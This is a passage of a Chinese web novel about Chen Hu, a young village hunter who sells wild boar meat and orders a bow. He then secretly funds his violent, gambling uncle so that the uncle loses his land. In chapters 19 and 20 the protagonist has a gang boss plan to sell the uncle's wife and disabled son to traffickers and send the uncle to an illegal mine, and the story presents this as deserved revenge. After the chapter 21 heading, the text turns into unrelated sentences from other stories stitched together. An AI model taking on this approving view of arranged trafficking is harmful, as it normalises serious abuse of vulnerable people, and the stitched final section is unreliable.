尽管陈虎和杨蓉三令五申,告诉他年纪小不让碰枪,陈真还是执拗着时不时就问一嘴,就连吃饭时,眼睛也不老实,时不时冲着墙头的那杆土枪瞄一眼。 当然,这话不等陈虎拒绝,杨蓉便直接板脸: “小真!吃饭就吃饭,小孩子不准碰枪!” 好在,小鼻涕虫虽然心思活络人也好动,却也十分听话,应了一声后,便低头扒饭,没再看墙头那杆枪。 倒是小陈瑶的问题,让正在专心解决这一碗厚重“爱”的陈虎,一个不慎直接噎住: “哥哥,爸爸也顿顿吃大米和肉汤吗?” 听着小囡囡奶声奶气的询问,杨蓉和陈虎都一时之间,都不知道该说些什么。 见陈虎没接话,小囡囡又抬手比划着指向天上,两只月亮似的大眼睛扑闪扑闪,笃定出声: “妈妈说了,爸爸去了天堂,天堂就是能顿顿吃饱的地方,那爸爸一定每天都能够吃白面馍馍和肉汤。” 杨蓉听着女儿的这般言辞,一时之间,心头一酸,手中筷子也“啪嗒”落到地上。 陈虎深吸了一口气,看着自家妹妹,不由想起了令人作呕的二叔一家,心中当即做好了打算。 而后,他笑容生硬的回应道: “爸爸当然每天能吃饱穿暖,他在天上,还会变成星星,这样也能保佑我们吃饱穿暖,保佑小囡囡健康、快乐。” 小囡囡闻言,顿时眼中放光,仰头看向屋顶,兴奋说道: “那爸爸变成了星星,也要保佑妈妈健康,保佑哥哥和二哥都健康!” 杨蓉看着眼前的一幕,早已忍不住泪眼婆娑,却抑制着没出声,转身进了里屋。 陈虎心中哀叹,面上却浅笑着交代弟弟妹妹要把肉汤喝完。 饭后,陈虎看着房梁上挂着的猪肉,心中开始细细思索。 陈厚一家的问题,必须要解决! 而且,还需要尽快! 先前,自己送了些肉过去,主要是为了稳住二叔一家,毕竟像是先前半夜放火这种事情,可不能再来一次了。 往后,陈虎相信他自己一定会猎来更多猎物,家里的生活也会一步步改善。 以陈厚一家的性子,若是不尽早解决这个隐患,必然会招惹是非。 昨日那头猪,杨蓉竟是仅靠着自己就全分割好,熏制完后挂在了房梁上。 犹豫片刻之后,陈虎将猪肉取下一半。 十几斤猪肉,拎在手里,约莫有个百斤左右,依照眼下猪肉市价四毛九左右一斤,这些猪肉大概价值在四十多块。 拎着这百余斤猪肉,陈虎给杨蓉打了声招呼,便径直出了门。 不多时,陈虎便再一次出现在了陈厚家中。 当这十几挂重达百斤的猪肉,扔到陈厚一家子跟前时,这一家子直接都愣在了原地! 陈虎对待眼前的这一家人,仍旧冷着一张脸,话还是上次那话: “野猪是我昨儿猎的,我妈说给你们送点,当然吃完了最好安分些!” 说罢,陈虎照旧转头就走。 待到陈虎走后,陈厚这厮看着桌上猪肉,不争气直咽口水,两只眼都在冒光。 刘翠翠更是眼睛瞪得老大,掐了自己一把,砸吧砸吧嘴道: “乖乖嘞,这得有上百斤吧?都说昨儿早上杨蓉和那狼崽子拖了头野猪回来,还真猎了头野猪啊?” 老太太则摸着自家宝贝孙子头,脸上带着笑意,嘴上却半点儿不客气: “家里几百斤熊瞎子肉不送,送点野猪肉,这狼崽子和杨蓉真的是不把我老婆子当人!” 当然,一家人一口一个狼崽子喊得勤快,却半点儿不耽误他们清点猪肉。 陈厚将一挂挂猪肉拎起,想了想后,对刘翠翠交代道: “你取两挂放着,晚上炖一锅,我拿上剩余的猪肉上镇里去卖了换成粮食。这才冬月,等到开春,粮食还紧得很,这肉也吃不到那时候!” 刘翠翠一听这话,顿时就不乐意了,脸一横,直接就用力的拍桌怒骂道: “狗屁的换粮食!你要是拿到赌场里面霍霍完了,那我们这一家子还过不过了?” 自家男人啥德行,刘翠翠自然门清,要说陈厚这话能信,她宁愿相信这头野猪还能够活过来。 陈厚见状,也直接就不乐意了,抬手就是一记响亮的耳光递了出去。 挨了打的刘翠翠,当即捂着脸,就哭出了声。 陈厚见状,也懒得理睬,冷冷的撂下一句话: “老子说了会买粮食。就会买粮食,你个娘们儿家的插什么嘴?别哼哼唧唧了!听得老子耳朵疼!” 说完,陈厚就提着猪肉,出了门。 老太太对此情景,则早已见怪不怪,直接眼观鼻,鼻观心,不予理会。 这头陈厚刚出门,另一边,陈虎也折返到了家。 眼见着自家儿子连着两次拎着肉出门,而后空手回来,杨蓉也不知道到底是个什么情况,还想着怕是自家儿子是看上了谁家的姑娘,这才屡屡去送肉,当即就开始旁敲侧击起来。 第一卷 第17章 当真是神人! “小虎啊,最近都去哪家串门?” “你这也老大不小了,换做你这个年纪的时候,你妈我和你爹都结婚了。” “生你那年,你爷爷还在,你爷爷人好,当时你名字就是你爷爷取的……” 陈虎见母亲满脸笑意的一会说这,一会说那,也是有些摸不着头脑,却又不能告诉母亲,其实他是把肉送到二叔那儿了,只能闭口不言。 杨蓉一见着这架势,还以为陈虎这是害羞了,接着拍着胸脯道: “妈别的不敢说,你要有中意的姑娘,可以先让媒婆去说道说道。要是合适,妈想办法把这屋子再修整下,多建一间屋子,你们今年要是能定亲,明年结婚就能搬进新房。” 一说到给自家儿子结婚修新房,杨蓉浑身干劲儿。 陈虎则整个人脸上大写的懵圈,意识到自家娘想歪了,却又不敢解释,眨眼间就憋红了脸。 陈瑶和陈真俩小家伙闻言,也是在一旁拍手起哄: “哥哥要结婚咯!有喜糖吃咯!” 无奈之下,陈虎只能岔开话题道: “妈,这事儿我自己来!回头我先把屋子找人修葺下,换成砖瓦房,这样晚上大家也暖和点,剩下的以后再说。” 杨蓉一听陈虎要将屋子换成砖瓦房,也是忍不住一惊,不由眉头紧锁: “这……砖瓦房,得花多少钱?眼下……” 见杨蓉这般,陈虎急忙宽慰道: “妈,你别急着操心,这事儿我有谱,也不着急,先慢慢来。” 要知道这个年代的砖瓦房在乡下,那就等同于后世的豪宅别墅了! 眼见着杨蓉不再提结婚这档子事,陈虎当即取下了剩余猪肉,给杨蓉知会了一声: “妈,那啥这猪肉我拿到镇上给卖了,眼下家里不缺肉,上次捕兽夹和那把刀还没给铁匠铺结钱来着。” 说完,陈虎直接就背上肉,一转眼就没了影。 来到镇上,陈虎依照记忆去了镇上孙家。 这孙家在镇上也算一户了不得的人家,家里的那位长者“孙老”是刚退休下来的干部,据说退下来之前位高权重。 不过,老者家中仅有他一人,家里独子远在海外。 平日里。老者不愁吃喝,除了天气好时会去野钓,没事儿的时候就是和一群老头聚在一起下下棋。 陈虎敲开孙家大门时,孙老刚巧在家。 眼见着陈虎背着上百斤猪肉,正喘着粗气,也是热情的将陈虎招呼进了屋子。 陈虎将猪肉放下后,心中不由得感叹万分。 这百斤猪肉放到前世,不过是越野负重的基础罢了,眼下这具身体,因为之前营养不良的等等问题,还是太过于羸弱了,得想办法加强训练和摄入足够的营养才是。 孙老今年约莫着超过七十,这么大年岁的老人,其实许多都已经走不动道了。 就算是走得动,基本上也佝偻着身子,还要杵着拐杖。 但孙老却半点儿没有七十好几的状态,不仅能打直了腰杆,走起路来也是虎虎生风。 并且,孙老的脸上自带着英气,时常给人感觉不怒自威,半点儿不见寻常老者的慈眉善目。 “好小子!这么多猪肉,这是猎了头野猪?” 孙老看着陈虎的这一背篓猪肉,当即笑出了声。 陈虎嘿嘿一笑,取下一条后腿肉,放到桌上: “孙老先前不是说有野味先上这儿一趟,您看看,这野猪是前日打的,昨日我妈才熏制过,这条后腿长得壮实,孙老看下吃得完不?” 孙老见状,十分满意,当即上前看了下猪肉成色,接着又直接两只手拎了下那一筐子猪肉,看完后,眼中当即就露出喜色: “不错!是野猪肉!这一筐大致有一百一十斤左右。你小子也别单拿这条后腿了,全都部都给我留下,我给你算五块一斤,一百一十斤左右抹零算五十五块咋样?” 陈虎闻言,顿时眼睛瞪得老直! 好家伙! 全给收了? 似是看出了陈虎的疑虑,孙老掏出钱包,当面点出了一沓票子,递给陈虎。 “我侄子在军区做采购,这点儿肉不算多,我留点儿剩下的让他来拿,也省得你再背着这堆肉四处转悠。” 陈虎当即就接下钱,和孙老道谢: “那就感谢孙老了!” 孙老摆了摆手,淡然笑道: “举手之劳罢了!不过,你这后生看着没几斤肉,长得不算壮实,倒是有一身好本领,这大雪封山的日子,还能接连进山打猎。” 陈虎收好钱,见孙老夸赞也不自傲,反倒显得颇为拘谨: “您老说笑了,我这不过是运气好罢了。” 孙老见陈虎如此言语,也是毫不掩饰自己的欣赏: “有事没事都可以过来陪我老头子坐坐。” 陈虎当即应下,称他有空一定来。 对于这位孙老,陈虎单从这位的言行举止上,便看出了其不简单。 在这位老者的身上,陈虎能够清晰的感受到一种来自沙场上浸血的风骨,与铁血的大气。 这也让得陈虎对这位老者,愈发感兴趣。 在告别了孙老之后,陈虎径直去了镇上的铁匠铺。 铺子师傅唐立见陈虎上门,也是急忙迎了进来,当即热茶招呼上。 陈虎也没过多的客套,当即付清了上次捕兽夹和短刀的赊账,一共两块二! 唐立收到钱后,也是满脸客套: “小哥儿豪爽,看样子是又进山有收获了?” 陈虎微微颔首,笑了笑,道没细说。 唐立见此,心中则不免暗自吃惊,忍不住啧啧称奇。 这年景大雪封山还能够进山打猎的,简直就是神人! 要说上次之所以答应陈虎赊账,是因为陈虎家里摆了头熊瞎子,不怕给不起钱。 可唐立却没信传言,一个十六、七岁的孩子,自己就能进山猎熊? 但眼下,陈虎却又有了收获,这简直就是离谱到家了!当真是神人! 在唐立连着一番的客套后,陈虎又不紧不慢的掏出了三块钱,直言道: “这一次,我还要五个捕兽夹,外加三十只箭头!” 唐立闻言,乐呵着收下了钱,直拍着胸脯,信誓旦旦道: “好说!这些都有现货,保管皮实耐用,都是上等货!” 经过上次猎捕野猪之后,陈虎也算是看清了,这土枪威力虽然大,但有效射程却不够。 杀伤力得在二十米范围,才能够最大化! 第一卷 第18章 十赌九输 并且,除了有效射程之外,枪声也容易惊到野兽,以及装填弹药太慢…… 可以说,土枪的缺点,属实是太多了! 而想要更换仿制式的专业枪支,不仅价格昂贵,还不知道去哪儿买,显然不能够解决眼下的问题。 相反,弓箭的有效射程,则高达五十米开外,动静不大,还更方便连发,属实更合适眼下情况。 在铁匠铺拿上箭头和捕兽夹后,陈虎又去了市集,买了一袋子面粉和一袋子大米。 采购完后,陈虎并未急着回家,反倒是绕路去了赌场方向。 这时段,已然过了正午,镇上这小赌坊也开始逐渐热闹,陈虎到时,门前有个汉子正在望风。 汉子并不算面生,正是上次被陈虎割断手筋的打手之一。 陈虎背着两袋粮,手里拎着捕兽夹和一袋子箭头,上前热络的朝着汉子打招呼: “哥们儿,那么冷还站在外边?” 汉子一见是陈虎,眼睛顿时就直了,不过想起之前这小子和豹爷商量过的事儿,当即又恢复平静,不冷不热道: “有事说事!” 陈虎见状,努了努嘴:“陈二狗在里面?” 汉子点了点头,脸上顿时露出了一抹玩味的笑意: “在呢!据说今天的大头,全是这货赢到手的,眼下他估计正春风得意着呢!” 陈虎闻言,点了点头,接着放下手中拎着的捕兽夹,从兜里面掏出五块钱塞给汉子,轻笑道: “给兄弟们买酒喝,顺带帮我给豹爷带个话,就说‘依照之前说的,田产一亩我给十块,一个子儿都不会少!’” 汉子闻声,不禁狠狠咽了口唾沫,点了点头。 陈虎笑了笑,没有再过多言语,转头拿上东西,就离开了此地。 望着陈虎离去的背影,这三天两头拎着菜刀互殴,动不动就挂彩的汉子,也不禁一阵胆寒。 并且,他的心中也是暗自庆幸。 幸好上次没和这家伙结下死仇! 怎么让一个好赌的无赖消失? 这个问题在那晚陈厚半夜纵火未果后,陈虎的心中,便已经有了结论。 赌场内,陈厚正豪爽的捧着一堆筹码,一边大笑着直言:“今儿撞了大运!”一边又痛快下注! 对于陈厚而言,今日之前,那可当真是流年不利。 前几日,因为自家侄子猎了头熊瞎子,几次三番被那狼崽子教训,就连自家儿子也被那狼崽子给打了一顿。 加之先前在赌场赊账,一连输掉了家中的八成积蓄! 甚至于今天之前,他陈二狗还欠着赌场的外债。 可也不知道大哥家那狼崽子这几日抽的什么风,又或是大嫂属实心善,接连给自家送了前后一百多斤肉。 今日送来这猪肉,陈二狗给市场卖了四十来块,还了之前欠下的赌债后,他又没忍住来玩了两把。 可自打他下桌之后,就鲜少有输过! 什么叫运气来了,挡都挡不住? 一个下午过去,等到了天黑,陈二狗细数了下他自己手中的筹码,赌本最起码翻了一倍! 这一晚,陈二狗留在赌坊里面挑灯夜战! 接连的进账,让跟在陈二狗身后跑堂的伙计,连抽水都挣了好几块了。 可这运气到了后半夜,就仿佛被用尽了。 一连三把,陈二狗手里的牌是狗看了都得摇头,他却觉着自己势头正猛,想诈一诈这一桌赌徒,不由得接连下注,就是不愿意弃牌。 接过一连三把牌下来,直接让他给白天吃进去的筹码,全部都吐了出来! 陈厚仍旧不信邪,当即又跟着开了一把牌。 结果,牌到了手里一看,仍是一把烂牌! 这一次,陈厚学聪明了,当即就弃牌。 可接下来无,论陈厚如何摸牌,都烂得一塌糊涂。 这时候,陈厚已经将赢到手的钱,全部都输了个干净,并且他带来的四十来块也输了半数,他已然萌生了退意。 可就在陈厚起身想离桌之时,对面的刘老三横着脸,顿时不乐意了: “陈二狗!你他妈这就打算撤了?你上桌一直赢,老子陪你玩,输个干净借了场子钱都陪你玩,眼下你输两把,才半场就想走?” 陈厚闻言,也不禁犹豫了下。 一来刘老三说的是实话,二来这刘老三也是个狠角儿,他不敢轻易招惹。 这时候,站他身后端茶送水的跑堂伙计,也讪笑道: “狗哥,你这运气不该就这么停了?几把烂牌而已,后半场肯定能够再扳回来!” 见伙计都这般说,陈厚也就坐回了牌桌,当即用力一拍桌道: “老子能怕了?接着来!” 偏就是这一轮,陈二狗拿到了今天上桌以来最大的牌面,看着牌面,他甚至于控制不住急促的呼吸。 几乎没有任何犹豫,陈二狗便将所有的身家,全部都压了上去! “老子梭哈!” …… 夜里,陈虎与家人其乐融融的吃着晚饭。 晚饭后,杨蓉忙着收拾碗筷,陈虎则坐到炕上,看着闹腾不停的弟弟妹妹,轻笑道: “别闹了!哥哥给你讲个故事!” 两个小家伙闻言,都十分兴奋: “好呀!哥哥要说什么故事?” “哥哥,是你打猎的故事吗?” 陈虎笑着摇头,目光投向窗外那轮明月,眸光之中,闪过一丝冷意: “从前有一个赌徒,他生平好赌,有一日得了横财,到了赌场后,先是赢了不少钱,但没多久,又输了个精光。” “输光了的赌徒,开始朝赌场借钱,借了钱后,他一心想着能再把输掉的钱,全部都再赢回来。” “可十赌九输,唯一赢的一次,还得是坐庄的人想让你赢!” “于是乎,赌徒又一次输光了借来的钱!” “这时候,赌场不再借钱给他,他却纠缠不放,一心想再赢回来。” “最后,他被赌场打手打折了一条腿。” “他拖着断腿,爬回了家,可赌债还没有还清。” “赌场庄家告诉他,可以拿他家里的田地抵押,也可以拿他的老婆儿子做抵押。” 说到此处,陈虎的声音,戛然而止。 两个小家伙听得入迷,小囡囡紧紧皱着眉头,十分震惊道: “哥哥,他拿了自己老婆和孩子做了那个……抵押吗?” 陈真闻言,则直接“呸”了一声,说道: “哥,这个赌徒真蠢笨!” 陈虎看着两个小家伙,脸上挂着一抹异样的微笑,喃喃说道: “他会抵押的!田地也好,老婆孩子也好!” “他会想明白,等他抵押完田产,抵押了住处,他就算不抵押老婆孩子,他也没有家了。” “贪婪是无底深渊,一条腿迈进去,想再出来,无异于痴人说梦,更遑论跌进去的是一个赌徒?” …… 第一卷 第19章 陈虎特意设下了这一整场局! 第二日一早,陈虎简单的吃过早饭之后,便拎着昨儿那三十只箭头,去了隔壁张大娘家。 张大娘家男人老张头在这附近十里八乡,都算得上是号人物,谁家需要建屋、做家具都会第一时间内想到他的。 老张头见到陈虎后,也是十分热情,拍着陈虎的肩膀,一口一个“小虎”,十分热络: “小虎啊,可惜你爹走得早,不然的话,他要是看着你如今这么有出息,保管要拿出来好生念叨一番!” 老张头这人五十出头,做木匠快三十年了,人倒是本分,手艺任谁都得夸声好,就是这嘴不会说话。 张大娘见自家男人一见人就提人家早故的爹,也是狠狠瞪了老张头一眼,赶忙给陈虎倒了杯热茶: “别听你大爷瞎说,他嘴上没把门,说话都不带脑子的。” 陈虎接过茶水,笑了笑,摇头道: “不碍事!张大爷啥人我知道的!况且,他和我爹还是老朋友,没啥计较的。” 老张头也是意识到自己说错了话,急忙找补道: “嗐!我的不是!对了!小虎,你昨儿打了头野猪听说是?” “这天气进山,你要当心啊!” “光是这些年村里冬天家里面揭不开锅进山的,有一个算一个,没见谁全须全尾的回来。” 陈虎听着老张头又说晦气话,也是不免一脸黑线,打了个哈哈,没应声。 张大娘则直接抬手,朝着自家男人的腰上,狠狠掐了一把。 老张头吃痛,顿时意识到自己又说错了话,龇牙咧嘴,连忙问道: “小虎今天过来是做啥?要叔帮你做点啥?” 说到正题,陈虎当即取出那一麻袋箭头,将箭头铺在桌上,轻笑道: “张大爷,我想做一柄弓,外带三十支箭矢,你看能做不?” 老张头拿起箭头看了看,嘴一斜就拍着胸脯保证道: “你叔我这里可以给你打包票!村里现存的弓箭,都是你叔我一手打造的,多的不敢说,射程最少在五十米开外能洞穿一只黄耗子!” 陈虎闻言,微微颔首,随后从兜里掏出了一沓票子,点了一遍,直接递给了老张头。 “张大爷,你点一遍,这里是五块钱,材料和加工费你算算,不够的话,我再回去取点。” 老张头接过这一沓票子,一时之间,眼睛都直了! 五块钱! 平日里,他给人上梁这么大工程,一天累死累活下来,也才挣个两块不到。 眼见陈虎这般豪爽,老张头忍不住砸吧砸吧嘴,就拿着那一沓票子,仔细清点起来。 张大娘见状,又是狠狠拽了一把老张头,横着脸直接骂道: “小虎还能框你啊?你还一张一张数!” “你咋不一头扎进钱眼里去!” 老张头被老婆叫醒,也是悻悻然没再清点了,反倒是冲着陈虎,讪笑出声: “小虎啊,这五块钱也忒多了点,要不我给你退一些?” 陈虎急忙阻止: “大爷,钱你收着,这用材给我用最好的就是!” 老张头一听这话,也不再多说,应了一声,便转头让自家婆娘把钱收好,紧跟着领着陈虎,去了他的木工房。 木工房不大,里面除了摆放着一张木制的操作台外,就是各种木工用具,以及墙角一堆不起眼的木材。 老张头从角落里面,拿起一堆木材,放置到了操作台上,看着这堆木材,他两眼放光,乐呵道: “这制作长弓,像是柳树、榆树、白蜡都可以,斑竹也算十分合适!” “不过要一把好弓,那还得是用桑木!” 老张头取出一根桑木,这根木材通体笔直,约莫有手腕粗细,通体圆润没有瑕疵,看上去阴干许久了,浑身上下没有一处虫眼。 陈虎暗自点头,十分满意。 紧跟着,老张头又取出一撮麻线,并说道: “这把弓你放心!绝对用最好的材质,不过小虎,你看你能拉开多重的弓?我好提前调整!” 陈虎闻言,不由得愣了愣,能拉开多重的弓? 换做前世,哪怕是最重的蒙古弓,陈虎也能拉得动,但眼下的这副身体,只怕六十斤的弓就是极限了! 简单犹豫后,陈虎无奈回应道:“六十斤就够用了!” 老张头点了点头,而后交代道: “弓箭你晚些来取就是,天黑前就能搞定。” 弓箭的事儿有了着落,陈虎当即回了家。 本想着今天不进山,陈虎就想着怎么修缮下自家屋子,毕竟茅草搭顶,不仅容易失火,逢雨季漏雨,到了寒冬腊月还漏风。 杨蓉身子骨不好,一半是缺衣少食导致的,剩下一半就是屋子漏风给冷风吹的! 所以,陈虎刚到家门口,进了院子就开始绕着看了一圈。 屋子都是土石结构,想修缮第一步就得换成砖头,否则的话,土墙后期承重就是个大问题。 可砖头和瓦片眼下都不算便宜,要是想要把屋子再扩建下,那需要一笔不菲的巨资! 就在陈虎打量着自家屋子为钱发愁时,院外满脸哀怨走进门的杨蓉,却带来了一个好消息。 见着陈虎在家,杨蓉面露不忍告知道: “你二叔昨儿去赌了一晚上,把家里田产和房子都抵押出去了,今儿要债的上门,你二叔不愿意给,腿被打折了一条,前面刚送去镇上卫生所。” 陈虎见自家母亲愁眉苦脸,自个儿却是笑得开怀: “妈!你为那畜生难过啥?” “就他那德行,自家妈病重了都下不了赌桌的白眼狼,先前还想着要把囡囡过继过去,你忘了爸咋死的?” “要我说,这畜生就活该!” 杨蓉对陈虎这番言论,自然没啥好反驳的,但仍旧苦着一张脸: “这房子要真给收走了,你奶和你二婶就得冻死在外头了!这也不是她们好赌,咋就要让老太太和你二婶遭这个罪?” 陈虎嗤笑一声,满不在乎道: “管他们作甚?前日里咱家揭不开锅,眼看一家子都要饿死也不见他们过问半句。” “反倒是家里有点儿肉和一张熊皮,他们一家子轮番过来想强占!” “妈,你也甭操这个心了!二叔一把年纪了,又是男人,他都不操心你管那么多。” 杨蓉闻声没再说话,只是一阵阵哀叹。 陈虎则心中不断冷笑:这才一条腿,才哪跟哪儿?剩下的罪,他们一家还有的受呢! 那日陈虎在惊觉陈厚半夜过来纵火之后,就想明白了绝对不能留下这一家子奇葩做隐患。 故而,陈虎特意设下了这一整场局! 第一卷 第20章 只有千日做贼,怎能千日防贼? 陈虎第一次给陈厚一家送肉,就是为了稳住他们一家,第二次送百斤猪肉,则是为了给他陈二狗提供赌资。 那日在豹爷场子里面,陈虎承诺会给陈厚送赌资,并且答应只要陈厚抵押出去的田产、房屋,他都给超出市价两倍的价格来收购! 本来,这年头土地买卖就行不通,抵押田产也过不了户。 但陈虎可是直系亲属,有了他接手,那就方便太多了。 并且,陈虎还看似不经意的给豹爷提了一嘴: “田产抵押本来就行不通,要是陈二狗他老婆孩子四处闹腾,只怕会出事,这也不是几百年前了,没有人伢子收小孩和女人。” 这句漫不经心的话语,落到豹爷这档子人的耳朵里,哪儿能不清楚陈虎想说什么。 在这年头的确明面上看不到人伢子,但被拐到南方深山,或者北边乡下去的女人还能少? 至于陈厚家那大胖傻子,也根本不愁销路。 再加上有陈虎善后,老太太可没有机会走到县里去“敲鼓鸣冤”。 于是乎,在陈虎的多番承诺之下,这一局就是奔着要陈厚一家家破人亡去的! 陈虎此时想到那晚纵火的身影,眼中满是冷冽。 既然你不想让我一家活,那我就先送你一家子上路! 同一时间,镇上卫生所内,刘翠翠坐在病床边地上,抱着自家儿子,一把鼻涕一把泪,哭得那叫一个鬼嚎。 “我的个老天爷啊!” “你长长眼啊!陈二狗这是要一家子都去死啊……” 本就断了腿的陈厚躺在病床上,感受着病房内单薄被子盖不住的寒冷,以及刚绑上石膏还在一阵阵疼的右腿。 耳朵里,还充斥着自家婆娘的鬼哭狼嚎。 他那张平日里因为好吃懒做,极少被风吹日晒而白净的脸上,出乎意料没有一丝愤怒,也没有一丝阴郁。 只有两行浊泪和眼中无尽的悔意。 他自己也想不通,怎么就一个晚上,天就塌下来,正好砸在他的头顶上了? 老太太腿脚不便,来时已经气到下不了床。 刘翠翠仍旧哭天喊地不断,正在这时,门外的豹爷带着两个打手,走进了屋。 一见到狠角儿,刘翠翠当即就闭上了嘴,拉着自家儿子,退到了一边。 刚才这群人打断自家男人腿的场景,她可是看得一清二楚。 泼妇也有畏惧的时候,毕竟这群赌场的打手可不和她沾亲带故。 豹爷进了屋后,一言不发只是挥了挥手,两个汉子便上前将陈厚给从床上架起,拖着就往外走。 刘翠翠眼下就是再害怕,也是站了出来,眼神飘忽着喊道: “各位爷,他欠了钱,眼下也断了腿,没必要赶尽杀绝啊!这可是法治社会!” 豹爷的眼中,闪过一抹玩味,打量着刘翠翠那丰腴的身姿: “没事!就带他过去问问债务,我们哪儿敢杀人,等会儿他就能回来。” 说完,豹爷领着人将陈厚给拖走。 陈厚全程像是一只死虾,两腿一耷拉任人拖拽,没出声求饶也没大喊大叫。 不多时,陈厚被两个汉子硬架着带回了场子。 到了场子里,这昨儿进门还满面春风的陈二狗,俨然成了一只死狗,瘫在地上也不言语,两眼空洞望着前方。 场子里面,除了豹爷和他手下的打手之外,还站着两个生面孔,两人一胖一瘦,看着有三、四十岁,戴着棉帽,灯光昏暗,看不清脸。 豹爷上前,掐着陈厚下巴,冷笑出声道: “陈二狗,你家那房子和几亩地我是收不下,你这死狗架势估摸着也掏不出钱了!不过,现在有人看上了你家婆娘和那个傻儿子,倒是可以还上你的赌债。” 陈厚一听到豹爷这话,本来空洞的眼神,顿时狰狞: “你敢!老子自己欠的债自己还,别动我老婆孩子!” 说话间,陈厚猛地挣扎着起身,作势就要动手。 豹爷见状,也丝毫不惯着,抬腿一脚就将其踹趴下。 本就断了腿的陈厚,顿时疼得满地打滚,哀嚎出声。 豹爷冷哼一声,接着不紧不慢道: “不让你婆娘和傻儿子抵债也行,北边有个矿厂缺人挖煤,你去打工,把这债还上就是!” 陈二狗一听到挖煤,整个人又直接蔫儿下去。 如今正规的矿场,自然轮不到他一个瘸了腿的进去,依照这伙人的尿性,这摆明了是要送他去黑厂做黑工! 这几年私开的矿场,哪个不死一票人? 基本上进去了,就甭想再出来! 想到这些,陈二狗也顾不上打了石膏的腿,跪伏在地上,不断求饶: “爷爷!各位爷爷行行好!给一条生路吧!” 豹爷斜眼望着瘫在地上的陈二狗,笑容从脸上溢出,那道贯穿额头眼角的刀疤,抖动着十分狰狞: “嘿!好说,不想去的话,但这债得补上,你婆娘和儿子一人算二十五,你把人带过来咱们两清!” “二狗啊,你才四十,要是撞个大运,保不齐再讨个婆娘,生个脑子好使的大胖小子,不是更好?” 陈二狗闻声,没再求饶,短暂沉默过后,点了点头。 陈厚永远也猜不到,今天的下场自打那晚他气不过半夜去了自家大哥家纵火未果时,便已经注定了。 当然,眼下犯愁的,不止是他一个。 陈虎一想到自己应下了要两倍价格,把陈厚家里田产计数算钱,交给豹爷一行人,也十分头疼。 当初分家的时候,自家就分了三亩薄田。 二叔家则整整有十二亩良田! 这换算成十块一亩,那就是一百二十块! 这钱放在今天,可以直接盖上两间瓦房了都。 当然,这也是为何豹爷乐意依照陈虎的计划,而行事的原因。 毕竟,陈虎先给陈二狗提供赌资是一笔收入,再把田产钱补上,相当于给陈二狗还了赌债又是一笔。 最后,陈二狗家媳妇儿和傻儿子,又是一个好价钱。 至于陈二狗,变卖了妻女的残废,也不会浪费。 等到他婆娘和傻儿子送出了镇上,送到南方深山去,他自个儿也会去黑窑当苦工,这辈子都没机会找谁报复了。 这笔钱的确让陈虎感到些许头疼。 但陈虎又不能不给,给了钱才算两清。 陈虎虽然不怕那群拿着菜刀互殴,做些见不得光的小混混,可一如面对陈厚一家最初的形势一样,他可不能保证他每次都能对付得了那些小混混。 只有千日做贼,怎能千日防贼? 第一卷 第21章 黄三太奶是不会放过你的! 在游轮的第一层,船头上,赫然醒目地贴着一个大大的“囍”字,在太阳光的照射下散发着夺目的光辉,昭示着今天将会在这里举行一场盛大的婚礼。 宋齐看了半天,越看越觉得和昨天的一样,但是这个时候,他不可能承认自己昨天说的不对,只能顺着代冬的话说下去,还给自己编了个借口。 终于等到了散会,李伉拿着自己的奖品直接逃走了,他实在是受不了自己像个大熊猫一样被走到哪里都有人指指点点的。 上官岌扯了扯唇角,将手中的东西递给莲心,见她还是一副沉默寡言的样子,便知道她和黄大人的事情还没有转圜的余地。不由得生出一丝同情来。 迷彩军官来到杨虎和李伉对打的场地边上,站在制止了向他行礼的战士,静静地站在一旁看着场地中你来我往的两人。 “李伉,我想上去看看。”林静忘了刚才说过的不理李伉的话,又来到了李伉的身边拉着他的手一脸期待的央求道。 不仅仅是激进与保守的冲突,中华革命党一系党员和宋教仁手下理智派党员也斗得不亦乐乎。虽然国民党落魄了,但他们自诩孙中山的‘坚定’跟随者,掌握国民党的话事权理所当然。 安静的空间里,淡淡的温馨在蔓延,虽然没有人说话,但这宁静中充满了祥和的气息,她的心情很平静,因为心爱的男人就在身边,幸福早就悄悄降临了,她还会继续拥有,继续幸福下去。 她刚刚汇报的时候偷偷看了几眼,甚至比那些明星长得都还要帅!这样的男人……究竟是会是什么样的身份呢?难道以后他就是他们的新上司了吗? 上官晓似乎愣了一下,看了一眼周子卫,随即笑道:“好,我来。”说着便转身去牵他自己的马。 这个制度落后,思想落后,行为能力落后的古代,要逼她接受一夫二妻的情形? 伸手,黎浅抓住了林微的手,死死的,一刻也不肯松开。林微试着犟了两下,可黎浅抓的实在是太紧了,而且她也不是真的有心要挣脱。 一进入黑炎林,一股压抑感就开始笼罩着林修,四周不知名的大树,扶摇直上,树枝藤蔓更是生长茂盛,枝条随处可见。而这林间,隐隐约约还有些奇怪的叫声,听上去像是某些野兽,煞是渗人。 “姐姐,你看上了哪一个?”虽然知道依她们俩的身份地位,作为公主的她很可能嫁给太子,可是,她还是想知道她姐姐的心意。 齐泽奕彻夜未归,宫里却传来了要召见她的圣旨,难不成是齐泽奕出了事? “不用了。”满佳淡淡的说道:“他也不会有什么事情的,我现在的工作还很多。”嘴上虽然这样说,眼神却有些犹疑起来,似乎不知道看什么地方才是最合适的。 “你确定你都能答应?”他忍住一掌拍飞她的冲动尽量平静的问。 好不容易拨通了傅斯年的电话,她咬紧嘴唇,等待着最后的宣判。 “知道了!”冠军扶着老爷子刚想走,却被那交警一拦:“不行,你们暂时不能走,必须接受调查。”他面无表情官僚地说道。 尹安晨会抱住她,她是绝对没有想到的。他抱着她,从她的后背,他的下巴磕在她的肩头,而他的双手则是环住她的腰,他抱着她,有几分的用力。似乎是害怕林微会离开一般,他竟然不舍得放开了。 放任如此强大的古修者,鬼纹至尊在人世间行动,的确是个巨大的安全隐患。封印灵气,这是个很明智的选择。 他想要出手与周童交战,但看了看周童身后的数十人,他泄气了。 范甘迪不做教练员也活跃在NBA一线,作为解说员,他的解说总是能一针见血地说出场上的局势变化。 “我有点热,你能帮吗?”秦风眨了眨眼,谁知一盆水从秦风头顶上浇了下去。 而在同一时间,底下的冰窟之中,奥雅的脸上浮现一层层汗水,昼夜的环境已经寒冷到了极致,不过奥雅却已经出汗了,这就已经足够说明了问题。 可是,从前细致的都会注意到这些细节的男人,如今心里眼里却再没有她,霍恬抿紧嘴唇,难过的低下头。 说完,还没等深雨从这句话中回过神,布德抓起一只,用强大的魔力包裹,直接吞了进去,左眼空之轮光芒大神。 “二哥。如果真的要颁发追杀令,我们没有意见。可回我们的祖宅,至少也需要五个时辰。我们现在不在祖宅,就是为了躲避川野龙的追杀,现在派人回去,妥当吗?”老五开口。 